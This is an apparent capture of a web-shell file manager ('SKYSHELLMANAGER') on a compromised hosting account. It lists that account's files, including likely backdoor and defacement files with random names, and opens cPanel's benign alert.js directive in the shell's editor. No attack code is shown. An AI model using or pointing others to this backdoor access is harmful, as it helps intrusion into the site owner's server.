ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: alert.js

/*
# cjt/directives/alert.js                         Copyright(c) 2020 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
*/

/* global define: false */

define(
    [
        "angular",
        "cjt/core",
        "cjt/util/locale",
        "cjt/templates" // NOTE: Pre-load the template cache
    ],
    function(angular, CJT, LOCALE) {

var module = angular.module("cjt2.directives.alert", [
            "cjt2.templates"
        ]);

/**
         * Directive that shows an alert.
         * @example
         *
         * Example of a collection of alerts:
         *
         * <cp:alert ng-repeat="alert in alerts"
         *        ng-model="alert"
         *        on-close="myCloseFn($index)">
         * </cp:alert>
         *
         * Where alert-data is an object in the following the form:
         *
         * {
         *     message:       {String}  The alert message text.
         *     type:      {String}  The type of alert.
         *     closeable: {Boolean} Is the user able to dismiss the alert?
         * }
         *
         * And alerts is an array of alert objects. One could add to the
         * list of alerts by simply pushing a new one to the array:
         *
         * $scope.alerts.push({
         *     message  : message,
         *     type : type || "info"
         * });
         *
         * Example of an alert with transcluded text
         *
         * <cp:alert type="danger">
         *     Something bad happened!!!
         * </cp:alert>
         *
         * Example of an alert with transcluded html with filter
         *
         * <cp:alert type="danger" ng-init="message='what\nare\nyou looking at.'">
         *     <span ng-bind-html="message | break"></span>
         * </cp:alert>
         *
         * Example of alert with auto close of 10 seconds.
         *
         * <cp:alert type="info" auto-close="10000">
         *     Just letting you know something, but it will go away in 10 seconds.
         * </cp:alert>
         *
         * Example of alert with more link.
         *
         * scope.showMore = false;
         * scope.toggleMore = function(show, id) {
         *     scope.showMore = show;
         * }
         *
         * <cp:alert type="error" on-toggle-more="toggleMore(show, id)" more-label="More">
         *     Just letting you know an error at the high level.
         *     <div class="well ng-hide" ng-show="showMore">
         *         And here are some more details that you don't need unless you are an expert.
         *     </div>
         * </cp:alert>
         *
         */
        module.directive("cpAlert", ["$timeout", "$compile",
            function($timeout, $compile) {
                var _counter = 0;
                var ID_DEFAULT_PREFIX = "alert";
                var RELATIVE_PATH = "libraries/cjt2/directives/alert.phtml";

var LABELS = [{
                    name: "errorLabel",
                    defaultText: LOCALE.maketext("Error:"),
                }, {
                    name: "warnLabel",
                    defaultText: LOCALE.maketext("Warning:")
                }, {
                    name: "infoLabel",
                    defaultText: LOCALE.maketext("Information:")
                }, {
                    name: "successLabel",
                    defaultText: LOCALE.maketext("Success:")
                }, {
                    name: "moreLabel",
                    defaultText: LOCALE.maketext("What went wrong?")
                }];

/**
                 * Initialize the model state with defaults and other business logic. Model can be
                 * setup via an optional ng-model or via inline attributes on the directive.
                 *
                 * @private
                 * @method initializeModel
                 * @param  {Boolean} hasModel true indicates that a model is used, false indicates to use attribute rules.
                 * @param  {Array}  attrs
                 * @param  {String|Object|Undefined}  modelValue
                 * @return {Object}             Fully filled out model for the alert.
                 */
                var initializeModel = function(hasModel, attrs, modelValue) {
                    var data = {};

if (hasModel) {
                        if (angular.isString(modelValue)) {
                            data.message = modelValue;
                        } else if (angular.isObject(modelValue)) {
                            angular.copy(modelValue, data);
                        } else {
                            throw new TypeError("ngModel must be a string or object.");
                        }
                    }

if (!angular.isDefined(data.type)) {
                        if (angular.isDefined(attrs.type) && attrs.type) {
                            data.type = attrs.type;
                        } else {
                            data.type = "warning";
                        }
                    }

if (angular.isDefined(data.closable)) {

// We don't want users to be able to close errors, only the application
                        //  code can do this.  Otherwise, accept the users choices.
                        data.closable = ((data.type === "danger") ? false : data.closable);
                    } else if (angular.isDefined(attrs.closable)) {
                        data.closable = ((data.type === "danger") ? false : true);
                    } else {
                        data.closable = false;
                    }

if (CJT.isE2E()) {
                        data.autoClose = false;
                    } else if (angular.isDefined(data.autoClose)) {

// We don't want errors to auto close either.
                        data.autoClose = ((data.type === "danger") ? false : data.autoClose);
                    } else if (angular.isDefined(attrs.autoClose)) {
                        data.autoClose = ((data.type === "danger") ? false : data.autoClose);
                    } else {
                        data.autoClose = false;
                    }

if (!angular.isDefined(data.id)) {
                        if (!angular.isDefined(attrs.id)) {

// Guarantee we have some kind of id.
                            data.id = ID_DEFAULT_PREFIX + _counter++;
                        } else {

// Guarantee we have some kind of id.
                            data.id = attrs.id;
                        }
                    }

if (hasModel && !angular.isDefined(data.message) && !data.message) {
                        throw new Error("No message provided in the model's message property.");
                    } // Otherwise, its just transcluded.

return data;
                };

/**
                 * Render the body using the transclusion. Only called if using transclusion!!!
                 *
                 * @method renderBody
                 * @param  {Object} scope      directive scope
                 * @param  {Object} element    directive element
                 * @param  {Function} transclude directive transclude function
                 */
                var renderBody = function(scope, element, transclude) {

// Process the transclude
                    var type = scope.alert.type;
                    var typeBlock = element[0].querySelector(".alert-" + type);
                    var messageSpan = typeBlock.querySelector(".alert-body");

transclude(function(clone) {

// append the transcluded element.
                        angular.element(messageSpan).append(clone);
                    });
                };

return {
                    restrict: "EA",
                    templateUrl: CJT.config.debug ? CJT.buildFullPath(RELATIVE_PATH) : RELATIVE_PATH,
                    transclude: true,
                    replace: true,
                    require: "?ngModel",
                    scope: {
                        close: "&onClose",
                        toggleMore: "&onToggleMore",
                        autoClose: "=",
                        errorLabel: "@",
                        warnLabel: "@",
                        infoLabel: "@",
                        successLabel: "@",
                        moreLabel: "@"
                    },
                    compile: function(element, attrs) {

// Initialize any labels not provided
                        LABELS.forEach(function(label) {
                            if (!angular.isDefined(attrs[label.name])) {
                                attrs[label.name] = label.defaultText;
                            }
                        });

return function(scope, element, attrs, ngModelCtrl, transclude) {

// Prepare the model by adding any missing parts to their appropriate defaults.
                            if (ngModelCtrl) {
                                ngModelCtrl.$formatters.push(function(modelValue) {
                                    return initializeModel(true, attrs, modelValue);
                                });

ngModelCtrl.$render = function() {
                                    scope.alert = ngModelCtrl.$viewValue;
                                    $timeout(function() {
                                        scope.$emit("addAlertCalled");
                                    }, 0);
                                };
                            } else {
                                scope.alert = initializeModel(false, attrs);
                                renderBody(scope, element, transclude);
                            }

/**
                             * Set all of the label attributes to the model's label value, if it exists.
                             */
                            scope.$watch("alert.label", function(newVal) {
                                if ( angular.isDefined(newVal) ) {
                                    LABELS.forEach(function(label) {
                                        attrs.$set(label.name, newVal);
                                    });
                                }
                            });

/**
                             * Helper method to handle manual closing of an alert.
                             */
                            scope.runClose = function() {
                                if (scope.timer) {
                                    var timer = scope.timer;
                                    scope.timer = null;
                                    delete scope.timer;
                                    $timeout.cancel(timer);
                                }

/* for alertList (or anything else that might want to use it) */
                                scope.$emit("closeAlertCalled", {
                                    id: scope.alert.id
                                });
                                scope.close();
                            };

// Check if autoClose is set and set the close timer if it is
                            var msecs = scope.autoClose ? parseInt(scope.autoClose, 10) : null;
                            if (msecs && !isNaN(msecs)) {
                                scope.timer = $timeout(function() {
                                    scope.runClose();
                                }, msecs);
                            }

// Add the toggle more support. What the toggle more button
                            // does is defined by the user of the directive, probably
                            // in the body of the alert, but not necessarily. Its designed
                            // to provide a way to embed technical details into the alert
                            // but not show them by default.
                            scope.hasToggleHandler = angular.isDefined(attrs.onToggleMore);
                            scope.showMore = false;
                            scope.runToggleMore = function() {
                                scope.showMore = !scope.showMore;
                                var e = {
                                    id: scope.alert.id,
                                    show: scope.showMore
                                };
                                scope.$emit("toggleMoreAlertCalled", e);
                                scope.toggleMore(e);
                            };

};
                    }
                };
            }
        ]);
    }
);

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: alert.js

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30